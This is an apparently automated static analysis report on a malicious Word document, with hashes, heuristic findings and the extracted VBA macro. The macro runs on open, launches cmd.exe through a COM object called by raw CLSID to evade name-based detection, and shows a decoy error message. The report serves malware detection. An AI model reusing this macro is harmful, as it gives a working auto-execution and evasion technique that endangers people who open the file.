Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 016868e69d7a440b…

MALICIOUS

Office (OOXML)

16.9 KB Created: 2020-09-27 07:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-01
MD5: 8d083966726d0a6b71e3b17c2f49a104 SHA-1: 84bbc1a74ec1d75100f851f2562090407a18923d SHA-256: 016868e69d7a440b173b70df3b6dcff4000ee2dbba997fddaf5bcfb67b9cacdb
190 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
      Set Obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
      Obj.Document.Application.ShellExecute "cmd.exe", "/c calc.exe", "C:\Windows\System32", Null, 0
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
      Set Obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 541 bytes
SHA-256: 9ffcccba944e871e70c60b75329a925cae5129c65d267ec033426331263a9705
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub AutoOpen()
  Set Obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
  Obj.Document.Application.ShellExecute "cmd.exe", "/c calc.exe", "C:\Windows\System32", Null, 0
  MsgBox ("Required rescource could not be allocated")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 8df15d08e3beb1e4b70af241352533810f3f6d566361330a8ee852de66705f7e